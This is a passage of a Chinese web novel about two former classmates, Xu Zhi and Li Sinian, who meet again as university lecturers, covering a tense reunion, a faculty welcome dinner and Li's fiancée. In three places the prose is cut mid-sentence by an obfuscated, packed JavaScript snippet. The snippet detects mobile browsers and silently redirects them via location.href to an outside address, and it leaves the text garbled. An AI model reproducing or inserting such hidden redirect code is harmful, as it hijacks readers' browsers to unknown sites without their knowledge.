不知具体怎么说的,总之是让老教授相信了许之认为当年火灾都是因为自己造成的,因为对李斯年心存愧疚、无法面对,才选择辞职。 这话真假参半,个中陈年内情繁复,导致许之甚至无从解释。 李斯年将他复杂的表情尽收眼底,继续加码:“许之,当年的事情的确是意外,你别太自责,再说都这么多年了,能再在广大遇见也是缘分,过去的事,就让它过去吧。” “就是就是,来,握个手,咱们以后往前看吧!”老教授说着,先站了起来。 李斯年跟着站起身,许之也就无法继续坐着。 “以后还请多多关照,许老师。”李斯年伸出手。 从进门时许之就注意到了,他声音明显比从前低沉沙哑了很多。 是在火灾里伤了嗓子吗? “你这孩子,愣着做什么?”老教授大手往他肩上一落,把人唤回了神。 许之抿着嘴,当着老教授的面,拒绝的话说不出口,也没办法装作冠冕堂皇,最后只得半垂着眼,去应和李斯年停在半空的手。 一握而过,甚至分不清手的温度是凉是暖。 老教授由衷地笑了起来,许之愿意留下,算是解开了他这些天的心结,低头一看桌上:“诶,这些文件和钥匙怎么回事?” “我要带去咨询室的。”许之只好说。 “好好好,那你们就赶紧去忙吧……啊,对了,周三几个院系说要一起给你们新来的老师开个欢迎会,晚饭时间记得留出来。”老教授说。 二人从老教授办公室出来,一路无话。 走到分叉口,许之转向心理咨询预约室那边,他没回头,只听到身后有跟上的脚步声。 心想着注定要留在广大了,以后是福是祸都躲不过,有什么话先说清楚倒是好事。 于是许之掏出钥匙拧开了预约室的门,也没关,就这么径直走了进去。 他抬手想开灯,却耳边风声一起,李斯年竟然几步上前,按下了他的手。 “你……”许之想说话,随即人就被按在了侧面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650712|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙上。 “砰”的一声,门也被关紧。 “好久不见啊,许之。”李斯年说。 刚才展露人前的话都是走过场而已,只有这一句,才是他们久别经年后的第一句。 李斯年的脸近在眼前,许之心中从刚才开始、或许是从那天周一开始,一直刻意回避的情绪骤然冲进脑子里。 他近乡情怯,一时间不知怎么答话—— 这种感觉太奇怪了,明明是常常在梦里见到的、熟悉的模样,但此刻真正出现在眼前,却又夹杂着陌生。 八年时间,说长不长、说短不短,李斯年的五官没什么太大变化,但无论是眼神还是勾起嘴角之类的微表情,都太不一样了。 许之不想与他对视,这样的距离,对视会暴露太多东西,他只是轻垂着目光,随即落在李斯年脸的左侧,看到被烧伤的那片伤痕。 他心中一紧,瞬间差点破功,开口就想问他“痛不痛”,但最终还是紧咬着后槽牙忍住了。 怎么会不痛呢? 只是再怎么精良的修复也无法让皮肤重生如初。 就像二人之间的关系,回不去了。 “怎么,见到我太激动了,都不会说话了?”昏暗安静的室内,李斯年声音中嘶哑的部分被放大,像是猫带刺的舌,如有实质地落在许之耳间心上。 许之忽然有些庆幸当年他是在李斯年还未醒来时离开的,若是面对清醒的李斯年,十八岁的自己怕是演不出那副自私薄情、不屑一顾的模样。 “你想干什么?”许之问。 李斯年稳若泰山地装傻:“这话什么意思?” “留不留广大是我自己的事,你为什么要因此去找林教授说谎?” “噢,这个,我没说谎吧,你当年拿了我爸的钱,还在我人都没醒时就走了,不就是心存愧疚、没脸见我?但因此要放弃留任广大的机会,太可惜了。” 李斯年说完,又像是意识到什么似的,“咦?难道不是因为这个?” 许之眉头一拧,随即明白这人在给他下套。 这话叫他怎么回? “我没义务给你解释。”许之抬起眼,定定地看向李斯年,“像你说的,都过去这么久了,纠结这个没意思。” “行,那就不纠结了。”李斯年很好说话的样子,他直起身,二人距离拉开。 “那以后就好好做同事吧,许老师,咱们以前说得就是我做化学老师、你做心理咨询老师,还能一起吃食堂。如今这样也算是歪打正着、愿望成真了不是?” 他故意提起少年旧约,话说得自然亲密,内里却全是讽刺。 李斯年从前不是这样的,他该是无论善意或仇恨都坦荡赤诚,而不是像现在,罩着一层皮笑肉不笑的面孔。 但许之并没有觉得被冒犯,相反,心中却升起无法言说的难过。 他曾幻想过,如果有朝一日不得不遇见,李斯年或许会发火、或许会质问他当初为何不告而别。 许之甚至想好了一套应对说辞。 但他唯独没想到,李斯年竟然选择完全不追究,就这么轻轻揭过去了,一副他们之间没有罅隙、没有隔着八年岁月,可以若无其事继续做朋友的模样。 “你不用这么跟我说话。”许之声音轻缓,却端得是拒人于千里之外的姿态,“要是介意当年的事,以后不要见面就好了。” 李斯年眼角一跳,怒火差点就要忍不住从伪装的淡定下冒出来。 这人难道就完全没有话要对自己解释吗? 哪怕说声“当年我的确把自己的未来看得比你重要,所以我抛弃你了,对不起”,李斯年说不定都会想要原谅他。 “见不见面,不是你说了算的。”李斯年这句声音有些冷,话落,又恢复了平常语调:“行了,重逢的好日子,别哭丧着脸,不知道的还以为我怎么你了呢。” 清脆一声响,是他按开了灯。 骤然亮起的白光很刺眼,许之撇开眼睛,就看到李斯年拿起桌上预约室的钥匙。 那是许之今天准备辞职交接给老教授的,一大串钥匙上挂着三小串,每小串上有四把钥匙,对应这条走廊的四个房间。 李斯年拆下了其中一小串。 “你做什么?”许之上前半步要去抢。 李斯年勾着钥匙的手往后一闪:“我留一把。” “不行,这不合规,这里不是我一个人用,而且平时有咨询……” “那种时候我不会硬闯的,我知道,你们门上都会挂牌子。”李斯年一笑,“但别的时候……就不一定了。” “周三欢迎会时再见了,许老师。” 他意味深长地说完,拧门离开。 73.宴席 许之如今每周会有半天时间在咨询室接待来访者,其实成为副教授后,这件事不再是硬性指标,但他还是主动提出要做。 接触最真实、带着热度的情绪与苦恼,并尽所能给予帮助,是他从事这一行的初衷。 周三下午的这个咨询并不是很顺利,来者是一名化学系的大二男生,他坚持不懈的反复约了一个月,终于约到了许之的咨询时间。 但当人坐到咨询室的单人沙发上时,却是顾左右而言他。 一个小时下来,都没能聊到男生今天想要咨询的事到底是什么。 这种情况其实也常见,建立咨询关系是一个漫长的过程,许之不急不躁地打开记录本,对今日咨询的时间和大致内容进行记录。 “下次咨询,你什么时间方便?”许之问。 男生没答,眼睛只是盯着他手里的本子。 许之察觉到,将本子递过去:“你想要看看吗?” 男生一愣:“可以吗?” 许之点头。 男生接过去看,才发现这本子里并非所有咨询者的状况记录、而是只有他的,本子很新,只有第一页有刚才许之留下的字迹。 “这些东西,会在学校留档存放吗?”男生轻声问。 “不会,这只是我个人对于你咨询的记录。”许之了然他担忧似的,“除了我,没有人会看到,如果因为学术需要,需要使用这些数据,那也会隐去相应信息,不会有人辨认出这些数据来自你的。” “这样……那是不是我在这里对你说得一切,你都会保密?”男生又问。 许之:“是的,除非你想要伤害自己或其他人,那我有权对有关机构告知。” 男生听完,终于点点头:“我知道了,下周咨询还是这个时间,行吗?我需不需要再和外面值班的同学预约?” “不用了,我这边会登记。”许老师的咨询是很难约上的,但如果他判断咨询有持续必要的话,后续就不用再抢预约,“那下周再见了,赵毅。” “嗯,谢谢许老师。”赵毅礼貌说完,起身离开。 许之将东西收拾好,打开抽屉,看到已经设置了勿打扰的手机闪烁了一下。 拿起来一看,是两条来自陌生号码的短信。 [许老师在学校吗?顺路一起去欢迎会吧。] [咨询室的学生说你五点半结束咨询,我在停车场A区等你,车牌号xxxx] 手机号的归属者不言而喻。 许之想了想,还是回了条:我已经打车去了,不麻烦了。 发完短信,他坐回电脑前处理了一会邮箱信息,眼看过了六点,才起身离开。 这一整条走廊几间房都属于心理系,最内间是咨询室,中间两间是活动房,用于开展一些和心理学相关的团体活动。 靠近楼梯的最外侧是预约室,周一至周五由心理学专业的志愿者学生们轮流值班,处理预约登记和几间房的每日卫生打扫。 许之路过预约室,发现门还半开着,里面亮着灯。 他以为是值班学生为了等他还没回去,于是推开门:“咨询室今天不用打扫卫生,你们先……” 一个挺拔的身影立在墙边教师风采宣传图旁,听到动静,转过身来。 李斯年今天还是穿着衬衣西裤,深灰色的衬衣一丝褶皱也无,扣子整整齐齐扣到最上面一颗,笔挺的领口v型正好在喉结下方。 这人身材比例和体态都太优越了,这样素净的正装其实是很挑人的,但穿在他身上,就是宽肩阔背、长腿窄腰,十分养眼。 李斯年明知故问道:“许老师?你不是先打车走了吗?” 许之深深吸了一口气,终于反手掩门,忍不住道:“李斯年,你到底想做什么?” “许老师什么意思,我怎么听不懂了?”李斯年仍是带着笑。 许之每听他叫一句许老师,都觉得是在挖苦嘲讽:“当年的事,你有气大可以冲我发,何必假装出这幅豁达熟络的样子?” 李斯年听了这话,笑意稍收。 他走近几步,来到许之面前,二人如今的身高相差无几,许之看他只需要略微抬眼。 “发火有什么意思呢?已经过去那么久了,哪怕是断手断脚的伤,也早就落疤痊愈了。”李斯年淡淡道。 “那你现在这样子,又是为了什么?”许之看向他,“如果要我道歉的话……对不起,当年的情况我也没有什么更好的办法,我不是医生,就算一直等在医院,对你的苏醒也毫无帮助。” 李斯年眉心一跳,他的确想要许之的道歉,但却不是这样的道歉。 许之没有察觉,继续说:“事情闹成那样,我和许茜也都不可能再留在你家、留在江城了,李宇更不会容忍我……” “所以,你是自愿想走的吗?”李斯年打断,语气加重,“我不在乎李宇怎么想,别告诉我你还会顾及他的意见,你不是这种人。” 许之喉头一哽。 他终于是问出这句了。 许之撇开眼,半晌,才冷冷答道:“当然,我以为你知道的,我早就想彻底离开那个地方了。” “懂了。”李斯年点头,这还是就算连同他一起丢掉也无所谓的意思。 他心中一痛,却还是勾起毫不介怀的笑,搭上许之的肩,指尖勾着钥匙,带着人往外走。 “你不是问我想干什么?”李斯年慢悠悠地说,“其实也没什么,我就是想让你知道,对于你当年的不告而别,我很不高兴。” “既然如今老天让我们再见面,那之后你要走还是留,就得我说了算。” - 李斯年开车,二人一路无话,只有车内音乐播完一首又一首。 都是很舒缓轻柔的古典乐,和许之印象里李斯年会喜欢的风格相差很大。 内饰款式颜色也都很低调,甚至可以说有些商务风,没有一处有曾经张扬少年的影子。 电话铃响起,许之拿出手机看了一眼,接了。 “喂?” 电话那边隐约传来的是男性的声音。 李斯年看似双手松弛地搭在方向盘上,目不斜视,其实指尖悄悄滑动,调低了音乐音量。 但许之如今的手机已经不再是高中时代的老旧款式,李斯年听不到对方到底在说什么,只知道许之“嗯”了声,又问了句“明天几点”,最后以“好,晚上见”收尾,挂了电话。 车转过一条大道,李斯年实在没憋住,装作闲聊问:“是许茜要来看你?” “不是。”许之说完,没有要继续解释的意思。 李斯年也只好闭上了嘴。 又是安静半晌,在经过一个减速带时,随着车内颠动,忽然有清脆的铃音传来。 许之循声看去,这才注意到那个悬挂在倒视镜后方小小的、带着缺口的木铃。 从前在出租屋的种种记忆,立刻就如同潮水般,不受控地涌如脑海中。 音乐正好在这时播完了。 切换下一曲的间隙里,尴尬的安静弥漫开来。 李斯年显然不会放过任何让许之难堪的机会:“你那时候,走得挺急啊。” 许之不知该怎么接,只好“嗯”了一声。 “小白呢?” 许之好久才开口,只说 :“不清楚。” 李斯年嗤笑,一语双关道:“你倒是心宽,说丢就丢了。” 许之假装没有听懂,沉默着看向窗外。 又过了两个红绿灯,终于来到饭店门口。 李斯年将车停在大门口,钥匙交给了门口的服务生,许之也跟着下了车。 正好遇上邹主任和其他几个老师往里走。 其中一个留着中分发型的窦姓男老师同时知道他们两个人,惊讶道:“李老师和许老师这是……认识啊?” “嗯,我们是高中同班同学。”李斯年笑着答。 众人边说边往里走。 “真有缘分啊。”一个年轻的女辅导员感叹道。 邹主任跟着点头,许之的情况她也有所耳闻,是林教授从国外带回来的学术新秀,同样有着令人望尘莫及的履历:“你们在哪所高中?挺厉害啊,能一个班出两名如此的顶尖人才。” “没有没有,您过奖了,我们是江城育德高中毕业的。”李斯年谦虚道。 “那个学校我听说过!”另一个长发女老师笑道,“还有庆城高中,这两个省重点年年升学率都挺厉害,考进我们广大的也有不少。” 说话间,已经来到包间门口。 关于谁坐主位的问题,众人又是一通拉扯,最后还是邹主任随手拉了侧面的位置落座了,张罗着说“咱们搞学术的就不要讲究这一套了”,大家才终于消停下来,各自落座。 其实和搞不搞学术没关系,在人情社会,这种事情到哪都有要讲究的人。 但许之向来不擅长应付这些,类似饭局从前也有,他向来是能推就推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15661963|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是林教授提的那天,他正好被李斯年的突然出现而搞得手忙脚乱、忘了拒绝。 他旁观李斯年,面对这些事情却显得十分游刃有余,在略显夸张的吹捧和拉扯之间泰然自若、耐心非常。 虽然许之没见过李宇驰骋商圈时是什么样,但想来,大概也就是李斯年这样吧。 待所有人都坐下,李斯年叫来了服务生点菜,一边询问众人忌口,三言两语间就将满桌菜点得稳妥,这才自己落了座。 或许是看他们是一辆车来的,其他老师都默认二人熟识,最后空出的那个位置正好就是许之旁边。 菜上得很快,邹主任首先举杯:“今天这顿饭,是为欢迎我们近期入职的几位老师和辅导员,今后就都是广大人了,大家一起努力,为广大乃至国内教育事业添砖加瓦!” 大家热热闹闹的干杯饮尽,在邹主任的建议下,众人挨个自我介绍。 能进广都大学无论是做老师或是辅导员的,都是人中龙凤,哪怕是辅导员,也来自国外顶尖大学的本硕。 尽管如此,李斯年和许之也仍是这一批入职的人里,履历最耀眼夺目的存在。 找他们二人闲聊搭话的人不少,李斯年句句有回应、一个话题接一个话题聊。 而许之只是埋头用餐。 他以次日上午满课为由,没有喝酒,天然也就少了很多被挑起话题的机会,面对旁人的搭话,他回得也简短。 桌上的都是人精,发现许之对于社交没太大兴趣,也就友善地给他留了安静的空间。 热闹的焦点渐渐转移到了李斯年等人身上。 “诶,你听说李老师的来历没?”许之左手边响起低声交谈。 他余光一瞟,是先前说听说过育德学校的长发女老师。 她旁边坐着女辅导员:“他刚才不是都自我介绍过了?A大的本硕博,真挺厉害的,本硕跳级的虽少、但我也见过,可那是世界排名第一的A大诶,含金量可不一样。” “不仅仅是这样哦。”长发女老师卖关子道,“两年多前创立的那家生物化学公司你有听过吗?” 她顿了顿,念出一长串英文名,是一家公司名。 许之端起汤碗,悄悄竖起耳朵,这家公司他也有所耳闻,去年他还没回国时,在学校每个季度的全球最新科研成果分享大会上,听到其他系的教授分享过这家公司和它取得的惊世成果。 见女辅导员点头,长发女老师继续说:“李老师就是那家公司的创始人,而且是研发领头人。” 许之心中吃惊,那边的女辅导员更是差点没能控制住音量:“我的天,真的假的?!” “当然,网上都查得到照片。” “那他为什么要回国任教?这……没必要啊。”女辅导员很是不解。 广都大学虽然是国内top1,但李斯年原本的舞台却显然比这里更大。 “这就不知道了。”长发女老师说完,笑着打趣,“你要是有机会,打听打听?” “我又和他不熟啦。” “你这么漂亮,多在他面前晃晃不就熟了?” 女辅导员红着脸摆手:“别瞎说哦,这种精英,还长那么帅,怎么可能单身呐!” 长发女老师抿了口酒,暗暗瞧了邹主任一眼:“我听说邹主任还想介绍自己女儿给他认识,说不定真是单身呢?” 二人边说边笑,话题又转到了别处。 许之抬眼去看,一桌人吃得差不多后,基本都在互相攀谈、敬酒。 只见李斯年此刻正站在邹主任身边,他一手拿着酒杯,正微微俯身,听邹主任讲话。 这姿势上半身不高不低的,看起来就有点难受,但李斯年却站得很稳,面带微笑,不动不摇地保持了许久,连杯中的酒水都不曾摇晃。 末了,邹主任似乎被他的某句话逗笑了,隔着一张桌子,许之都能感觉到二人聊得愉快融洽,她拍了拍李斯年的肩膀,与他碰杯。 李斯年杯子的高度比对方低了些许,分寸拿捏正好。 他直起身体时,忽然抬了眼,像是知道许之在偷偷看他,也挑眉望了过来。 二人目光隔桌相撞,在热闹喧嚣中,仿佛有瞬间的安静。 许之很快就撇开眼来。 继而听到李斯年宛如无事发生,继续和旁边的其他老师说笑起来。 他低下头,拿起公筷夹菜。 待放到碗盘里时,才发现是一颗调味用的泡椒。 74.不甘 饭局结束,众人往外走。 几乎所有人都喝了酒,区别是有人微醺、有人走路已经略显摇晃。 李斯年安安静静走在人群最末,许之看了他两眼,也拿不准他到底醉了没。 “许老师会开车吗?”邹主任问。 许之答:“拿了国内驾照,但不是很熟……” “开车这种事就是要练,一回生二回熟,没关系。”邹主任一笑,“那李老师就交给你了。” 说完,她又去问其他老师是准备叫代驾还是打车。 许之想了想,还是拿出手机,半侧过头:“我也给你叫个代驾吧……” 话没说完,突然就感觉肩上一重,带着酒气的热浪从耳边撒来。 李斯年竟然就这么勾住了他的肩膀,几乎半个人的重量都压了过来,头斜斜地靠在许之肩头。 “叫什么代驾,浪费钱。”他声音带着慵懒的醉意,每说一个字,热浪就多一分,然后非常满意地看着许之渐渐被热红了的耳垂。 从兜里拿出钥匙,虚虚一递:“劳烦许老师,送我回家吧。” 许之整个身体僵硬着,声音听起来也有些紧:“我不太会,万一擦了撞了……” “没关系,随便撞,我不怪你,人没事就行。”李斯年理直气壮地说,仿佛刚才觉得叫代驾浪费钱的人不是他。 许之眉头一皱,听出他又是在捉弄自己,向左撤了半步,把对方那颗毛绒绒的脑袋推开。 “你闹够了没?” 李斯年被推得微微一踉跄,站定后,却还是看着他笑,像是乐见许之有点炸毛的模样:“生气了?” 和刚才席间觥筹交错时,落不进眼底的笑意不同,不知是不是因为醉了,李斯年现在看上去,反而有几分高中时的模样了,双眼亮晶晶,眼角弯着柔和的弧度。 许之心下微动:“你……” “斯年哥!” 清脆的女声打断了许之的话。 一辆白色轿车开上坡来,稳稳停在大门口。 许之偏头躲过晃眼的大灯,再看去,驾驶位的玻璃打下,里面坐着一个齐耳短发、细眉狭眼的女生。 他愣了几秒,才意识到这人是梁芷。 梁芷开门下车,直奔李斯年而去:“斯年哥,我来接你。” 李斯年揉了揉眉心,抬起头时,目光已经恢复了清明:“你怎么知道我在这?” “糯糯跟我说的,我想你们聚餐肯定要喝酒,喝完不好开车,所以过来了。”梁芷一副温柔贴心的模样。 她话说完,礼貌性地往李斯年身边的人望去,想要跟他的同事打个招呼,但目光落在许之身上,却是陡然愣住了。 这样漂亮的一张脸,又是属于男人,梁芷一辈子都不会忘记。 “你、你……不是出国了?怎么会在这?”她满脸愕然,几乎是惊呼出声。 许之也不知道她为什么反应这么大,就连旁边的邹主任等人听到声音,亦投来好奇地目光。 “好久不见。”他只好客客气气的打了招呼。 梁芷还怔在原地,没接话。 李斯年轻拍了一下她的手臂:“当年他只是走了,又不是死了,你用得着这么夸张吗?” 梁芷这才回过神,赶紧收起失态,露出一个客套的笑容,伸出手:“好久不见啊,许之哥。” 许之象征性与她握了手,对李斯年说:“那我先走了。” 他刚转身走了两步,就听到身后一声“喂!”,随即是一串叮铃声响。 许之回过头,眼前闪过什么,他下意识伸出双手接住,低头看,是李斯年的车钥匙。 “你开回去吧,明天到学校再还我。” 李斯年说完,就抬手和邹主任等人告别,然后上了梁芷的白色轿车。 车开下长坡,驶入大道,长发女老师伸着脖子八卦道:“诶,这女孩是李斯年谁啊?” 窦老师笑:“还能是谁,未婚妻啊。” 长发女老师惊了惊:“真的?你怎么知道的?” “我老家也在江城啊。”窦老师看了看众人迷茫的表情,失笑道,“李老师的父亲可是江庆双城的首富,我们那边鼎鼎有名的大老板,听说这桩婚事是很早两边父母就定好的,二人还是青梅竹马呢!” “这简直是小说里才会有的情节啊!”长发女老师感叹,“真好。” 在一众老师的八卦与感叹声中,许之悄无声息转身离开了。 没坐电梯,而是从安全通道去了b1车库。 他脚步放得很慢,在安静无人的楼梯间内,耳边回响起李宇曾经的话。 ——李斯年从前小学初中都是喜欢过女孩的,我都知道! ——别的不说,就梁芷,那是她妈妈生前亲自定下的娃娃亲!你不过是中途冒出来的乐子,他一时兴头上而已!你还真把自己当个东西了?! 看来自己离开之后,李斯年的生活果然走上了正轨,大概很快就会和梁芷结婚了吧。 挺好的,青梅竹马、娃娃亲、未婚妻,这些词听起来就很幸福,许之深呼吸,强迫自己忽略掉心中闷闷堵堵的情绪。 算了,他如今这样平淡幸福,不正是自己当年希望的么。 - 白色轿车行驶在宽阔大道上,李斯年打开前车窗,头半靠在车门一侧,半合着眼,任由风迎面吹来。 刘海扬起,左额上的疤痕显露在路灯的明暗交错下。 梁芷看了他好几眼,终于开口:“斯年哥,小心风灌得胃疼。” “你车里太香了,我怕吐。”李斯年说。 这话没别的意思,他本就有些醉了,在车里这么晃荡着,要是再加上香味一熏,真有可能吐梁芷车里。 他以为这味道来源于车里的香薰,却不知是梁芷出门前专门挑了好半天的香水。 梁芷脸色有些发白,但没说什么,只是帮着把后窗也打开,让空气对流。 “今天……许之哥怎么会在那啊?”梁芷探问。 “他也是广大新入职的老师。”李斯年说。 “这太巧了吧?”梁芷有些警惕和怀疑。 李斯年瞟了她一眼:“不然呢?” 梁芷咬了咬腮帮子,有些愤愤道:“他当初害得你那样……如今你才回国没多久,他又突然出现。斯年哥,我是怕他不安好心。” “你想多了。”李斯年淡淡说。 若是时隔八年,许之还能为了自己去筹谋规划这种偶遇,李斯年心里或许反而会好受些。 但可惜,对方就算早一步得知重逢,满脑子想得也只是怎么再次落跑。 “你这次发病,是不是还是因为他?”梁芷担心且不解,“当年他为了自己的前途,不顾你还在昏迷危险期,就这么离开了。斯年哥,这样的人,你还搭理他做什么? 熟悉李斯年的人都知道,他挺爱惜自己的车,若遇到需要喝酒的晚宴,宁可在停车场多停一晚,也不会叫代驾,梁芷甚至李倾诺也没开过他的车。 结果刚才,就这么随随便便将车钥匙丢给了许之。 梁芷心慌又气堵。 真是的,这人要消失,就干脆消失一辈子好了,怎么过了这么久,突然又出现?! 而李斯年,明明在大病一场后,整个人都脱胎换骨似的,性格也和从前大不一样。 但在见到许之后,不仅没有视而不见、厌恶远离,反而一副像是要和好的样子。 “斯年哥……”梁芷还想再说什么。 李斯年摆摆手,示意自己不想再继续这个话题:“头晕,你让我安静会吧。” 梁芷无声叹了口气,暂时闭上了嘴。 回到家中,李斯年还有一些工作上的事情要处理,于是强撑着精神去了书房。 而梁芷则去煮了碗蜂蜜水果醒酒汤,十多分钟后扣了两下门,端了进去。 李斯年的电脑屏幕已经熄了,正手撑在桌上,合眼按着太阳穴,看起来不太舒服。 “喝了这个就早点休息吧,宿醉不好受。”梁芷说。 李斯年头也没抬,只是应了一声。 安静半刻,他忽然感觉到有双稍显冰凉的手覆上了自己的手背,随后轻轻按在了他的太阳穴上。 李斯年猛地睁开眼,手一挡,站起身来。 梁芷有些慌张,微红着脸:“斯年哥。” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671886|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯年低头看了眼醒酒汤。 人可能会为了自己的生活舒适而学会做菜做饭、收拾房间,但醒酒汤这种东西,只能是为了别人而学的。 “梁芷。”李斯年面无表情,看向眼前这个算得上是自己青梅竹马的女孩,“我很早就和你说过了,我只把你当妹妹,我们之间不可能。” 梁芷眼神一颤:“可是我、我真的喜欢你!” “我不喜欢你。”李斯年站起身,“爱情不是这样的,你应该去找一个你爱的、也真正爱你的人。” 说完,就要往门外走。 梁芷一把拉住他,声音哽咽发抖。“但……我们不是都订婚了吗?所有人都知道了啊。” 李斯年回头看,眼神有些冷:“那是因为孙姨确诊癌症晚期,完全失去生念,为了叫她安心、还有个盼头,我才答应对外宣称和你订婚,根本不是因为爱。” “可是我们从小一起长大啊,你从不搭理其他女生、除了我……”梁芷忽然想到什么,急切道:“是不是因为我妈?就因为她和李叔叔一起瞒着你关于郑阿姨的事,所以你恨他们,也恨我?” 李斯年抓着她的手腕,力道轻而坚定地抽出了自己的手:“就算我对孙姨有什么意见,那也和你没关系,我只是从来都对你没有男女之情而已。” 他没有再给梁芷开口的机会,径直回了卧室。 梁芷只觉得自己这些年一直勉强保持温度的心,终于冷了个彻底。 次日,李斯年虽然上午没有课,但生物钟还是让他临近八点就醒了,随后听到外面一阵细小的滚轮声。 披了件外套开门一看,是梁芷正拖着行李箱往准备离开。 桌上是她热好的一盘包子,还冒着白气。 “在广都的事办完了?”李斯年问。 梁芷没讲话,只是点了头,到玄关换鞋。 李斯年抬手开了灯,屋内被暖光照亮:“我听糯糯说了,你后天的飞机走,今明要住哪?” 原来他知道自己其实事没办完,他总是什么都知道,梁芷深深吸了一口气,心里的较劲让她不愿再在李斯年面前展露脆弱的模样:“广都这么多酒店,都可以住。” 李斯年按了按鼻梁,神情有些无奈:“梁芷,这些事说开就好了,没必要闹成这样。这么多年来,我早就把你当做跟糯糯一样的妹妹了,你是知道的。” 梁芷鼻子一酸。 她当然知道。 李倾诺前几天来广都,都是自己去外面定的酒店,因为她先占用了李斯年的客卧。 兄妹俩都觉得这很正常,因为他们早已将梁芷当做亲人了,可是这样的亲密,其实却让梁芷又爱又恨。 她明明总在距离他这么近的地方,但偏偏永远也不可能将这亲人的亲密转换成爱人。 “你是不是直到现在还喜欢他?”梁芷轻声问。 李斯年愣了一瞬,随后沉默了。 梁芷在这沉默中得到了答案。 “他曾经那样对你,你还喜欢他。”梁芷自嘲一笑,“斯年哥,这么些年来,我偶尔会觉得自己一直追随你的背影,挺可悲的。但现在看来,你和我也差不多。” 心里都装着一个爱而不得的人。 梁芷说完,提起行李箱,就开门离开了。 李斯年心中也有些乱,他拉开椅子,在餐桌旁坐了许久,看着白白胖胖的包子从失去热气到完全冷透。 他刚才没有回答梁芷,也是因为他不知道该如何说清这样的心情。 纯粹的喜欢与不喜欢,只会属于少年时期绮丽的梦境里。 而火灾后,它们早就在那暗无天日一年的每分每秒里,被撕碎,被揉搓、混杂。 如今,李斯年更多是不甘心。 凭什么一直以来,都是自己守着一颗真心,反复诘问那个得不到的答案。 而许之对他的喜欢,就能如此潇洒、理智,能被权衡、被取舍。 这一次,李斯年就是想亲眼看看,许之若是情绪无法自控,到底会是什么模样。 如同许之这样永远冷淡自持的人,也会为爱痛苦吗? 如果会,那最好也能为自己痛苦一次,这才算公平。 75.发现 许之这边专门早起了近一小时,只为了错开早高峰。 以令身后车辆频频鸣笛的慢速,谨慎地将车开到了广大。 不是因为心疼豪车,他只是不想再出什么问题,让李斯年有借口来找自己麻烦了。 每多见一次李斯年,就会不可避免地更多想起从前的时光和心情,偏偏表面还要装作若无其事,这对他而言太难熬了。 比刚到国外那半年疯狂打工、兼顾学习,每天只睡几个小时,吃两顿白水配面包片还难熬一百倍。 许之其实今天就上午下午分别一节课,空闲时间不少,但他想了想,还是把车钥匙放去了预约室,给那个没存姓名的陌生号码发了条短信。 [车钥匙在预约室抽屉,有空去拿。] 然而直到傍晚,李斯年都没回消息。 这反而让许之有些惦记,他做事习惯了有始有终,不确定钥匙是否物归原主,就会一直记着。 于是在下午的课结束后,他又绕去了预约室。 值班学生已经离开,许之拉开抽屉,看到车钥匙还静静躺在里面。 他正想着要不要再联系下李斯年,结果对方就跟在他身上装了摄像头似的,一个电话打了过来。 “你在哪呢?”李斯年问得自然,仿佛他们本就是每天下班后都会询问对方位置并见面的关系。 许之顿了顿,没答,只是说:“你怎么没来拿钥匙?” “噢,我今天有点忙,没顾上,正好你也下课了吧?直接过来呗,我在停车场等你。”李斯年说完,没等许之拒绝,直接就挂了电话。 许之有些莫名其妙,以前怎么没发现李斯年有这么无赖的一面?! 广都的雨季多在春天,夏天到秋天常常都是连续大半个月的晴天。 此刻,湛蓝天空衔接着由浅到深的橙色晚霞,李斯年靠在车旁边,看着天边发呆。 他知道许之肯定会来的。 如他所料,大概十分钟后,身后就响起脚步声。 李斯年转身,伸手要接钥匙:“晚上想吃什么?我知道有家米其林餐厅牛排做得不错,要试试吗?” 许之却只是垂手看他:“不用,我有约了。” 李斯年愣了愣,嘴角扯出些不太自然的笑:“昨天打电话那个?” 许之不置可否:“你的车钥匙在预约室,反正你也有预约室的钥匙,需要用车时随时去拿就行。” 说完,与李斯年错肩而过,往停车场入口走去。 李斯年没料到竟会反被摆这么一道。 他注视着许之的背影,忽然觉得,对方的变化似乎没有自己以为的那么大。 虽然旁人表面看起来,这是稳重少言的行业俊才,是广大最年轻的正聘副教授。 但从一些细微末节处,李斯年仍然能察觉到那个少年许之的影子。 看似好说话的表象下,是绝不肯任人拿捏的尖刺。 李斯年就这么看着许之走到了入口处,停下站在墙边,目光远眺,像在等什么人。 不过多时,一辆银色suv驶来,似乎是不太熟悉这边的路,往入口处开进去了些,但及时停住了。 许之走上前去。 而道闸杆没有抬起。 这不是广大教职工的车。 李斯年眼神一凛,往前走了几步,借着旁边的停车挡住了身形。 